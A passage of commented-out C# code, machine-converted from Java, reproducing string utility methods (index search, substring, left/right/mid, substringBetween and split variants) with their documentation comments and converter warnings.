/// StringUtils.indexOfAny("zzabyycdxx", [""]) = 0 // /// StringUtils.indexOfAny("", [""]) = 0 // /// StringUtils.indexOfAny("", ["a"]) = -1 // /// </pre> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="searchStrs"> the CharSequences to search for, may be null </param> // /// <returns> the first index of any of the searchStrs in str, -1 if no match // /// @since 3.0 Changed signature from indexOfAny(String, String[]) to indexOfAny(CharSequence, CharSequence...) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int indexOfAny(final CharSequence str, final CharSequence... searchStrs) // public static int indexOfAny(CharSequence str, params CharSequence[] searchStrs) // { // if (str == null || searchStrs == null) // { // return INDEX_NOT_FOUND; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = searchStrs.length; // int sz = searchStrs.Length; // // String's can't have a MAX_VALUEth index. // int ret = int.MaxValue; // int tmp = 0; // for (int i = 0; i < sz; i++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final CharSequence search = searchStrs[i]; // CharSequence search = searchStrs[i]; // if (search == null) // { // continue; // } // tmp = CharSequenceUtils.IndexOf(str, search, 0); // if (tmp == INDEX_NOT_FOUND) // { // continue; // } // if (tmp < ret) // { // ret = tmp; // } // } // return ret == int.MaxValue ? INDEX_NOT_FOUND : ret; // } // /// <summary> // /// <para>Find the latest index of any of a set of potential substrings.</para> // /// // /// <para>A {@code null} CharSequence will return {@code -1}. // /// A {@code null} search array will return {@code -1}. // /// A {@code null} or zero length search array entry will be ignored, // /// but a search array containing "" will return the length of {@code str} // /// if {@code str} is not null. This method uses <seealso cref="String#indexOf(String)"/> if possible</para> // /// // /// <pre> // /// StringUtils.lastIndexOfAny(null, *) = -1 // /// StringUtils.lastIndexOfAny(*, null) = -1 // /// StringUtils.lastIndexOfAny(*, []) = -1 // /// StringUtils.lastIndexOfAny(*, [null]) = -1 // /// StringUtils.lastIndexOfAny("zzabyycdxx", ["ab","cd"]) = 6 // /// StringUtils.lastIndexOfAny("zzabyycdxx", ["cd","ab"]) = 6 // /// StringUtils.lastIndexOfAny("zzabyycdxx", ["mn","op"]) = -1 // /// StringUtils.lastIndexOfAny("zzabyycdxx", ["mn","op"]) = -1 // /// StringUtils.lastIndexOfAny("zzabyycdxx", ["mn",""]) = 10 // /// </pre> // /// </summary> // /// <param name="str"> the CharSequence to check, may be null </param> // /// <param name="searchStrs"> the CharSequences to search for, may be null </param> // /// <returns> the last index of any of the CharSequences, -1 if no match // /// @since 3.0 Changed signature from lastIndexOfAny(String, String[]) to lastIndexOfAny(CharSequence, CharSequence) </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static int lastIndexOfAny(final CharSequence str, final CharSequence... searchStrs) // public static int lastIndexOfAny(CharSequence str, params CharSequence[] searchStrs) // { // if (str == null || searchStrs == null) // { // return INDEX_NOT_FOUND; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int sz = searchStrs.length; // int sz = searchStrs.Length; // int ret = INDEX_NOT_FOUND; // int tmp = 0; // for (int i = 0; i < sz; i++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final CharSequence search = searchStrs[i]; // CharSequence search = searchStrs[i]; // if (search == null) // { // continue; // } // tmp = CharSequenceUtils.LastIndexOf(str, search, str.length()); // if (tmp > ret) // { // ret = tmp; // } // } // return ret; // } // // Substring // //----------------------------------------------------------------------- // /// <summary> // /// <para>Gets a substring from the specified String avoiding exceptions.</para> // /// // /// <para>A negative start position can be used to start {@code n} // /// characters from the end of the String.</para> // /// // /// <para>A {@code null} String will return {@code null}. // /// An empty ("") String will return "".</para> // /// // /// <pre> // /// StringUtils.substring(null, *) = null // /// StringUtils.substring("", *) = "" // /// StringUtils.substring("abc", 0) = "abc" // /// StringUtils.substring("abc", 2) = "c" // /// StringUtils.substring("abc", 4) = "" // /// StringUtils.substring("abc", -2) = "bc" // /// StringUtils.substring("abc", -4) = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String to get the substring from, may be null </param> // /// <param name="start"> the position to start from, negative means // /// count back from the end of the String by this many characters </param> // /// <returns> substring from start position, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String substring(final String str, int start) // public static string substring(string str, int start) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // // handle negatives, which means last n characters // if (start < 0) // { // start = str.Length + start; // remember start is negative // } // if (start < 0) // { // start = 0; // } // if (start > str.Length) // { // return EMPTY; // } // return str.Substring(start); // } // /// <summary> // /// <para>Gets a substring from the specified String avoiding exceptions.</para> // /// // /// <para>A negative start position can be used to start/end {@code n} // /// characters from the end of the String.</para> // /// // /// <para>The returned substring starts with the character in the {@code start} // /// position and ends before the {@code end} position. All position counting is // /// zero-based -- i.e., to start at the beginning of the string use // /// {@code start = 0}. Negative start and end positions can be used to // /// specify offsets relative to the end of the String.</para> // /// // /// <para>If {@code start} is not strictly to the left of {@code end}, "" // /// is returned.</para> // /// // /// <pre> // /// StringUtils.substring(null, *, *) = null // /// StringUtils.substring("", * , *) = ""; // /// StringUtils.substring("abc", 0, 2) = "ab" // /// StringUtils.substring("abc", 2, 0) = "" // /// StringUtils.substring("abc", 2, 4) = "c" // /// StringUtils.substring("abc", 4, 6) = "" // /// StringUtils.substring("abc", 2, 2) = "" // /// StringUtils.substring("abc", -2, -1) = "b" // /// StringUtils.substring("abc", -4, 2) = "ab" // /// </pre> // /// </summary> // /// <param name="str"> the String to get the substring from, may be null </param> // /// <param name="start"> the position to start from, negative means // /// count back from the end of the String by this many characters </param> // /// <param name="end"> the position to end at (exclusive), negative means // /// count back from the end of the String by this many characters </param> // /// <returns> substring from start position to end position, // /// {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String substring(final String str, int start, int end) // public static string substring(string str, int start, int end) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // // handle negatives // if (end < 0) // { // end = str.Length + end; // remember end is negative // } // if (start < 0) // { // start = str.Length + start; // remember start is negative // } // // check length next // if (end > str.Length) // { // end = str.Length; // } // // if start is greater than end, return "" // if (start > end) // { // return EMPTY; // } // if (start < 0) // { // start = 0; // } // if (end < 0) // { // end = 0; // } // return str.Substring(start, end - start); // } // // Left/Right/Mid // //----------------------------------------------------------------------- // /// <summary> // /// <para>Gets the leftmost {@code len} characters of a String.</para> // /// // /// <para>If {@code len} characters are not available, or the // /// String is {@code null}, the String will be returned without // /// an exception. An empty String is returned if len is negative.</para> // /// // /// <pre> // /// StringUtils.left(null, *) = null // /// StringUtils.left(*, -ve) = "" // /// StringUtils.left("", *) = "" // /// StringUtils.left("abc", 0) = "" // /// StringUtils.left("abc", 2) = "ab" // /// StringUtils.left("abc", 4) = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String to get the leftmost characters from, may be null </param> // /// <param name="len"> the length of the required String </param> // /// <returns> the leftmost characters, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String left(final String str, final int len) // public static string left(string str, int len) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // if (len < 0) // { // return EMPTY; // } // if (str.Length <= len) // { // return str; // } // return str.Substring(0, len); // } // /// <summary> // /// <para>Gets the rightmost {@code len} characters of a String.</para> // /// // /// <para>If {@code len} characters are not available, or the String // /// is {@code null}, the String will be returned without an // /// an exception. An empty String is returned if len is negative.</para> // /// // /// <pre> // /// StringUtils.right(null, *) = null // /// StringUtils.right(*, -ve) = "" // /// StringUtils.right("", *) = "" // /// StringUtils.right("abc", 0) = "" // /// StringUtils.right("abc", 2) = "bc" // /// StringUtils.right("abc", 4) = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String to get the rightmost characters from, may be null </param> // /// <param name="len"> the length of the required String </param> // /// <returns> the rightmost characters, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String right(final String str, final int len) // public static string right(string str, int len) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // if (len < 0) // { // return EMPTY; // } // if (str.Length <= len) // { // return str; // } // return str.Substring(str.Length - len); // } // /// <summary> // /// <para>Gets {@code len} characters from the middle of a String.</para> // /// // /// <para>If {@code len} characters are not available, the remainder // /// of the String will be returned without an exception. If the // /// String is {@code null}, {@code null} will be returned. // /// An empty String is returned if len is negative or exceeds the // /// length of {@code str}.</para> // /// // /// <pre> // /// StringUtils.mid(null, *, *) = null // /// StringUtils.mid(*, *, -ve) = "" // /// StringUtils.mid("", 0, *) = "" // /// StringUtils.mid("abc", 0, 2) = "ab" // /// StringUtils.mid("abc", 0, 4) = "abc" // /// StringUtils.mid("abc", 2, 4) = "c" // /// StringUtils.mid("abc", 4, 2) = "" // /// StringUtils.mid("abc", -2, 2) = "ab" // /// </pre> // /// </summary> // /// <param name="str"> the String to get the characters from, may be null </param> // /// <param name="pos"> the position to start from, negative treated as zero </param> // /// <param name="len"> the length of the required String </param> // /// <returns> the middle characters, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String mid(final String str, int pos, final int len) // public static string mid(string str, int pos, int len) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // if (len < 0 || pos > str.Length) // { // return EMPTY; // } // if (pos < 0) // { // pos = 0; // } // if (str.Length <= pos + len) // { // return str.Substring(pos); // } // return str.Substring(pos, len); // } // // SubStringAfter/SubStringBefore // //----------------------------------------------------------------------- // /// <summary> // /// <para>Gets the substring before the first occurrence of a separator. // /// The separator is not returned.</para> // /// // /// <para>A {@code null} string input will return {@code null}. // /// An empty ("") string input will return the empty string. // /// A {@code null} separator will return the input string.</para> // /// // /// <para>If nothing is found, the string input is returned.</para> // /// // /// <pre> // /// StringUtils.substringBefore(null, *) = null // /// StringUtils.substringBefore("", *) = "" // /// StringUtils.substringBefore("abc", "a") = "" // /// StringUtils.substringBefore("abcba", "b") = "a" // /// StringUtils.substringBefore("abc", "c") = "ab" // /// StringUtils.substringBefore("abc", "d") = "abc" // /// StringUtils.substringBefore("abc", "") = "" // /// StringUtils.substringBefore("abc", null) = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String to get a substring from, may be null </param> // /// <param name="separator"> the String to search for, may be null </param> // /// <returns> the substring before the first occurrence of the separator, // /// {@code null} if null String input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String substringBefore(final String str, final String separator) // public static string substringBefore(string str, string separator) // { // if (isEmpty(str) || string.ReferenceEquals(separator, null)) // { // return str; // } // if (separator.Length == 0) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int pos = str.indexOf(separator); // int pos = str.IndexOf(separator, StringComparison.Ordinal); // if (pos == INDEX_NOT_FOUND) // { // return str; // } // return str.Substring(0, pos); // } // /// <summary> // /// <para>Gets the substring after the first occurrence of a separator. // /// The separator is not returned.</para> // /// // /// <para>A {@code null} string input will return {@code null}. // /// An empty ("") string input will return the empty string. // /// A {@code null} separator will return the empty string if the // /// input string is not {@code null}.</para> // /// // /// <para>If nothing is found, the empty string is returned.</para> // /// // /// <pre> // /// StringUtils.substringAfter(null, *) = null // /// StringUtils.substringAfter("", *) = "" // /// StringUtils.substringAfter(*, null) = "" // /// StringUtils.substringAfter("abc", "a") = "bc" // /// StringUtils.substringAfter("abcba", "b") = "cba" // /// StringUtils.substringAfter("abc", "c") = "" // /// StringUtils.substringAfter("abc", "d") = "" // /// StringUtils.substringAfter("abc", "") = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String to get a substring from, may be null </param> // /// <param name="separator"> the String to search for, may be null </param> // /// <returns> the substring after the first occurrence of the separator, // /// {@code null} if null String input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String substringAfter(final String str, final String separator) // public static string substringAfter(string str, string separator) // { // if (isEmpty(str)) // { // return str; // } // if (string.ReferenceEquals(separator, null)) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int pos = str.indexOf(separator); // int pos = str.IndexOf(separator, StringComparison.Ordinal); // if (pos == INDEX_NOT_FOUND) // { // return EMPTY; // } // return str.Substring(pos + separator.Length); // } // /// <summary> // /// <para>Gets the substring before the last occurrence of a separator. // /// The separator is not returned.</para> // /// // /// <para>A {@code null} string input will return {@code null}. // /// An empty ("") string input will return the empty string. // /// An empty or {@code null} separator will return the input string.</para> // /// // /// <para>If nothing is found, the string input is returned.</para> // /// // /// <pre> // /// StringUtils.substringBeforeLast(null, *) = null // /// StringUtils.substringBeforeLast("", *) = "" // /// StringUtils.substringBeforeLast("abcba", "b") = "abc" // /// StringUtils.substringBeforeLast("abc", "c") = "ab" // /// StringUtils.substringBeforeLast("a", "a") = "" // /// StringUtils.substringBeforeLast("a", "z") = "a" // /// StringUtils.substringBeforeLast("a", null) = "a" // /// StringUtils.substringBeforeLast("a", "") = "a" // /// </pre> // /// </summary> // /// <param name="str"> the String to get a substring from, may be null </param> // /// <param name="separator"> the String to search for, may be null </param> // /// <returns> the substring before the last occurrence of the separator, // /// {@code null} if null String input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String substringBeforeLast(final String str, final String separator) // public static string substringBeforeLast(string str, string separator) // { // if (isEmpty(str) || isEmpty(separator)) // { // return str; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int pos = str.lastIndexOf(separator); // int pos = str.LastIndexOf(separator, StringComparison.Ordinal); // if (pos == INDEX_NOT_FOUND) // { // return str; // } // return str.Substring(0, pos); // } // /// <summary> // /// <para>Gets the substring after the last occurrence of a separator. // /// The separator is not returned.</para> // /// // /// <para>A {@code null} string input will return {@code null}. // /// An empty ("") string input will return the empty string. // /// An empty or {@code null} separator will return the empty string if // /// the input string is not {@code null}.</para> // /// // /// <para>If nothing is found, the empty string is returned.</para> // /// // /// <pre> // /// StringUtils.substringAfterLast(null, *) = null // /// StringUtils.substringAfterLast("", *) = "" // /// StringUtils.substringAfterLast(*, "") = "" // /// StringUtils.substringAfterLast(*, null) = "" // /// StringUtils.substringAfterLast("abc", "a") = "bc" // /// StringUtils.substringAfterLast("abcba", "b") = "a" // /// StringUtils.substringAfterLast("abc", "c") = "" // /// StringUtils.substringAfterLast("a", "a") = "" // /// StringUtils.substringAfterLast("a", "z") = "" // /// </pre> // /// </summary> // /// <param name="str"> the String to get a substring from, may be null </param> // /// <param name="separator"> the String to search for, may be null </param> // /// <returns> the substring after the last occurrence of the separator, // /// {@code null} if null String input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String substringAfterLast(final String str, final String separator) // public static string substringAfterLast(string str, string separator) // { // if (isEmpty(str)) // { // return str; // } // if (isEmpty(separator)) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int pos = str.lastIndexOf(separator); // int pos = str.LastIndexOf(separator, StringComparison.Ordinal); // if (pos == INDEX_NOT_FOUND || pos == str.Length - separator.Length) // { // return EMPTY; // } // return str.Substring(pos + separator.Length); // } // // Substring between // //----------------------------------------------------------------------- // /// <summary> // /// <para>Gets the String that is nested in between two instances of the // /// same String.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// A {@code null} tag returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.substringBetween(null, *) = null // /// StringUtils.substringBetween("", "") = "" // /// StringUtils.substringBetween("", "tag") = null // /// StringUtils.substringBetween("tagabctag", null) = null // /// StringUtils.substringBetween("tagabctag", "") = "" // /// StringUtils.substringBetween("tagabctag", "tag") = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String containing the substring, may be null </param> // /// <param name="tag"> the String before and after the substring, may be null </param> // /// <returns> the substring, {@code null} if no match // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String substringBetween(final String str, final String tag) // public static string substringBetween(string str, string tag) // { // return substringBetween(str, tag, tag); // } // /// <summary> // /// <para>Gets the String that is nested in between two Strings. // /// Only the first match is returned.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// A {@code null} open/close returns {@code null} (no match). // /// An empty ("") open and close returns an empty string.</para> // /// // /// <pre> // /// StringUtils.substringBetween("wx[b]yz", "[", "]") = "b" // /// StringUtils.substringBetween(null, *, *) = null // /// StringUtils.substringBetween(*, null, *) = null // /// StringUtils.substringBetween(*, *, null) = null // /// StringUtils.substringBetween("", "", "") = "" // /// StringUtils.substringBetween("", "", "]") = null // /// StringUtils.substringBetween("", "[", "]") = null // /// StringUtils.substringBetween("yabcz", "", "") = "" // /// StringUtils.substringBetween("yabcz", "y", "z") = "abc" // /// StringUtils.substringBetween("yabczyabcz", "y", "z") = "abc" // /// </pre> // /// </summary> // /// <param name="str"> the String containing the substring, may be null </param> // /// <param name="open"> the String before the substring, may be null </param> // /// <param name="close"> the String after the substring, may be null </param> // /// <returns> the substring, {@code null} if no match // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String substringBetween(final String str, final String open, final String close) // public static string substringBetween(string str, string open, string close) // { // if (string.ReferenceEquals(str, null) || string.ReferenceEquals(open, null) || string.ReferenceEquals(close, null)) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int start = str.indexOf(open); // int start = str.IndexOf(open, StringComparison.Ordinal); // if (start != INDEX_NOT_FOUND) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int end = str.indexOf(close, start + open.length()); // int end = str.IndexOf(close, start + open.Length, StringComparison.Ordinal); // if (end != INDEX_NOT_FOUND) // { // return StringHelperClass.SubstringSpecial(str, start + open.Length, end); // } // } // return null; // } // /// <summary> // /// <para>Searches a String for substrings delimited by a start and end tag, // /// returning all matching substrings in an array.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// A {@code null} open/close returns {@code null} (no match). // /// An empty ("") open/close returns {@code null} (no match).</para> // /// // /// <pre> // /// StringUtils.substringsBetween("[a][b][c]", "[", "]") = ["a","b","c"] // /// StringUtils.substringsBetween(null, *, *) = null // /// StringUtils.substringsBetween(*, null, *) = null // /// StringUtils.substringsBetween(*, *, null) = null // /// StringUtils.substringsBetween("", "[", "]") = [] // /// </pre> // /// </summary> // /// <param name="str"> the String containing the substrings, null returns null, empty returns empty </param> // /// <param name="open"> the String identifying the start of the substring, empty returns null </param> // /// <param name="close"> the String identifying the end of the substring, empty returns null </param> // /// <returns> a String Array of substrings, or {@code null} if no match // /// @since 2.3 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] substringsBetween(final String str, final String open, final String close) // public static string[] substringsBetween(string str, string open, string close) // { // if (string.ReferenceEquals(str, null) || isEmpty(open) || isEmpty(close)) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int strLen = str.length(); // int strLen = str.Length; // if (strLen == 0) // { // return ArrayUtils.EMPTY_STRING_ARRAY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int closeLen = close.length(); // int closeLen = close.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int openLen = open.length(); // int openLen = open.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final java.util.List<String> list = new java.util.ArrayList<>(); // IList<string> list = new List<string>(); // int pos = 0; // while (pos < strLen - closeLen) // { // int start = str.IndexOf(open, pos, StringComparison.Ordinal); // if (start < 0) // { // break; // } // start += openLen; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int end = str.indexOf(close, start); // int end = str.IndexOf(close, start, StringComparison.Ordinal); // if (end < 0) // { // break; // } // list.Add(str.Substring(start, end - start)); // pos = end + closeLen; // } // if (list.Count == 0) // { // return null; // } // return list.ToArray(); // } // // Nested extraction // //----------------------------------------------------------------------- // // Splitting // //----------------------------------------------------------------------- // /// <summary> // /// <para>Splits the provided text into an array, using whitespace as the // /// separator. // /// Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</para> // /// // /// <para>The separator is not included in the returned String array. // /// Adjacent separators are treated as one separator. // /// For more control over the split use the StrTokenizer class.</para> // /// // /// <para>A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.split(null) = null // /// StringUtils.split("") = [] // /// StringUtils.split("abc def") = ["abc", "def"] // /// StringUtils.split("abc def") = ["abc", "def"] // /// StringUtils.split(" abc ") = ["abc"] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be null </param> // /// <returns> an array of parsed Strings, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] split(final String str) // public static string[] split(string str) // { // return split(str, null, -1); // } // /// <summary> // /// <para>Splits the provided text into an array, separator specified. // /// This is an alternative to using StringTokenizer.</para> // /// // /// <para>The separator is not included in the returned String array. // /// Adjacent separators are treated as one separator. // /// For more control over the split use the StrTokenizer class.</para> // /// // /// <para>A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.split(null, *) = null // /// StringUtils.split("", *) = [] // /// StringUtils.split("a.b.c", '.') = ["a", "b", "c"] // /// StringUtils.split("a..b.c", '.') = ["a", "b", "c"] // /// StringUtils.split("a:b:c", '.') = ["a:b:c"] // /// StringUtils.split("a b c", ' ') = ["a", "b", "c"] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be null </param> // /// <param name="separatorChar"> the character used as the delimiter </param> // /// <returns> an array of parsed Strings, {@code null} if null String input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] split(final String str, final char separatorChar) // public static string[] split(string str, char separatorChar) // { // return splitWorker(str, separatorChar, false); // } // /// <summary> // /// <para>Splits the provided text into an array, separators specified. // /// This is an alternative to using StringTokenizer.</para> // /// // /// <para>The separator is not included in the returned String array. // /// Adjacent separators are treated as one separator. // /// For more control over the split use the StrTokenizer class.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// A {@code null} separatorChars splits on whitespace.</para> // /// // /// <pre> // /// StringUtils.split(null, *) = null // /// StringUtils.split("", *) = [] // /// StringUtils.split("abc def", null) = ["abc", "def"] // /// StringUtils.split("abc def", " ") = ["abc", "def"] // /// StringUtils.split("abc def", " ") = ["abc", "def"] // /// StringUtils.split("ab:cd:ef", ":") = ["ab", "cd", "ef"] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be null </param> // /// <param name="separatorChars"> the characters used as the delimiters, // /// {@code null} splits on whitespace </param> // /// <returns> an array of parsed Strings, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] split(final String str, final String separatorChars) // public static string[] split(string str, string separatorChars) // { // return splitWorker(str, separatorChars, -1, false); // } // /// <summary> // /// <para>Splits the provided text into an array with a maximum length, // /// separators specified.</para> // /// // /// <para>The separator is not included in the returned String array. // /// Adjacent separators are treated as one separator.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// A {@code null} separatorChars splits on whitespace.</para> // /// // /// <para>If more than {@code max} delimited substrings are found, the last // /// returned string includes all characters after the first {@code max - 1} // /// returned strings (including separator characters).</para> // /// // /// <pre> // /// StringUtils.split(null, *, *) = null // /// StringUtils.split("", *, *) = [] // /// StringUtils.split("ab cd ef", null, 0) = ["ab", "cd", "ef"] // /// StringUtils.split("ab cd ef", null, 0) = ["ab", "cd", "ef"] // /// StringUtils.split("ab:cd:ef", ":", 0) = ["ab", "cd", "ef"] // /// StringUtils.split("ab:cd:ef", ":", 2) = ["ab", "cd:ef"] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be null </param> // /// <param name="separatorChars"> the characters used as the delimiters, // /// {@code null} splits on whitespace </param> // /// <param name="max"> the maximum number of elements to include in the // /// array. A zero or negative value implies no limit </param> // /// <returns> an array of parsed Strings, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] split(final String str, final String separatorChars, final int max) // public static string[] split(string str, string separatorChars, int max) // { // return splitWorker(str, separatorChars, max, false); // } // /// <summary> // /// <para>Splits the provided text into an array, separator string specified.</para> // /// // /// <para>The separator(s) will not be included in the returned String array. // /// Adjacent separators are treated as one separator.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// A {@code null} separator splits on whitespace.</para> // /// // /// <pre> // /// StringUtils.splitByWholeSeparator(null, *) = null // /// StringUtils.splitByWholeSeparator("", *) = [] // /// StringUtils.splitByWholeSeparator("ab de fg", null) = ["ab", "de", "fg"] // /// StringUtils.splitByWholeSeparator("ab de fg", null) = ["ab", "de", "fg"] // /// StringUtils.splitByWholeSeparator("ab:cd:ef", ":") = ["ab", "cd", "ef"] // /// StringUtils.splitByWholeSeparator("ab-!-cd-!-ef", "-!-") = ["ab", "cd", "ef"] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be null </param> // /// <param name="separator"> String containing the String to be used as a delimiter, // /// {@code null} splits on whitespace </param> // /// <returns> an array of parsed Strings, {@code null} if null String was input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] splitByWholeSeparator(final String str, final String separator) // public static string[] splitByWholeSeparator(string str, string separator) // { // return splitByWholeSeparatorWorker(str, separator, -1, false); // } // /// <summary> // /// <para>Splits the provided text into an array, separator string specified. // /// Returns a maximum of {@code max} substrings.</para> // /// // /// <para>The separator(s) will not be included in the returned String array. // /// Adjacent separators are treated as one separator.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// A {@code null} separator splits on whitespace.</para> // /// // /// <pre> // /// StringUtils.splitByWholeSeparator(null, *, *) = null // /// StringUtils.splitByWholeSeparator("", *, *) = [] // /// StringUtils.splitByWholeSeparator("ab de fg", null, 0) = ["ab", "de", "fg"] // /// StringUtils.splitByWholeSeparator("ab de fg", null, 0) = ["ab", "de", "fg"] // /// StringUtils.splitByWholeSeparator("ab:cd:ef", ":", 2) = ["ab", "cd:ef"] // /// StringUtils.splitByWholeSeparator("ab-!-cd-!-ef", "-!-", 5) = ["ab", "cd", "ef"] // /// StringUtils.splitByWholeSeparator("ab-!-cd-!-ef", "-!-", 2) = ["ab", "cd-!-ef"] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be null </param> // /// <param name="separator"> String containing the String to be used as a delimiter, // /// {@code null} splits on whitespace </param> // /// <param name="max"> the maximum number of elements to include in the returned // /// array. A zero or negative value implies no limit. </param> // /// <returns> an array of parsed Strings, {@code null} if null String was input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] splitByWholeSeparator(final String str, final String separator, final int max) // public static string[] splitByWholeSeparator(string str, string separator, int max) // { // return splitByWholeSeparatorWorker(str, separator, max, false); // } // /// <summary> // /// <para>Splits the provided text into an array, separator string specified. </para> // /// // /// <para>The separator is not included in the returned String array. // /// Adjacent separators are treated as separators for empty tokens. // /// For more control over the split use the StrTokenizer class.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// A {@code null} separator splits on whitespace.</para> // /// // /// <pre> // /// StringUtils.splitByWholeSeparatorPreserveAllTokens(null, *) = null // /// StringUtils.splitByWholeSeparatorPreserveAllTokens("", *) = [] // /// StringUtils.splitByWholeSeparatorPreserveAllTokens("ab de fg", null) = ["ab", "de", "fg"] // /// StringUtils.splitByWholeSeparatorPreserveAllTokens("ab de fg", null) = ["ab", "", "", "de", "fg"] // /// StringUtils.splitByWholeSeparatorPreserveAllTokens("ab:cd:ef", ":") = ["ab", "cd", "ef"] // /// StringUtils.splitByWholeSeparatorPreserveAllTokens("ab-!-cd-!-ef", "-!-") = ["ab", "cd", "ef"] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be null </param> // /// <param name="separator"> String containing the String to be used as a delimiter, // /// {@code null} splits on whitespace </param> // /// <returns> an array of parsed Strings, {@code null} if null String was input // /// @since 2.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] splitByWholeSeparatorPreserveAllTokens(final String str, final String separator) // public static string[] splitByWholeSeparatorPreserveAllTokens(string str, string separator) // { // return splitByWholeSeparatorWorker(str, separator, -1, true); // } // /// <summary> // /// <para>Splits the provided text into an array, separator string specified. // /// Returns a maximum of {@code max} substrings.</para> // /// // /// <para>The separator is not included in the returned String array. // /// Adjacent separators are treated as separators for empty tokens. // /// For more control over the split use the StrTokenizer class.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// A {@code null} separator splits on whitespace.</para> // /// // /// <pre> // /// 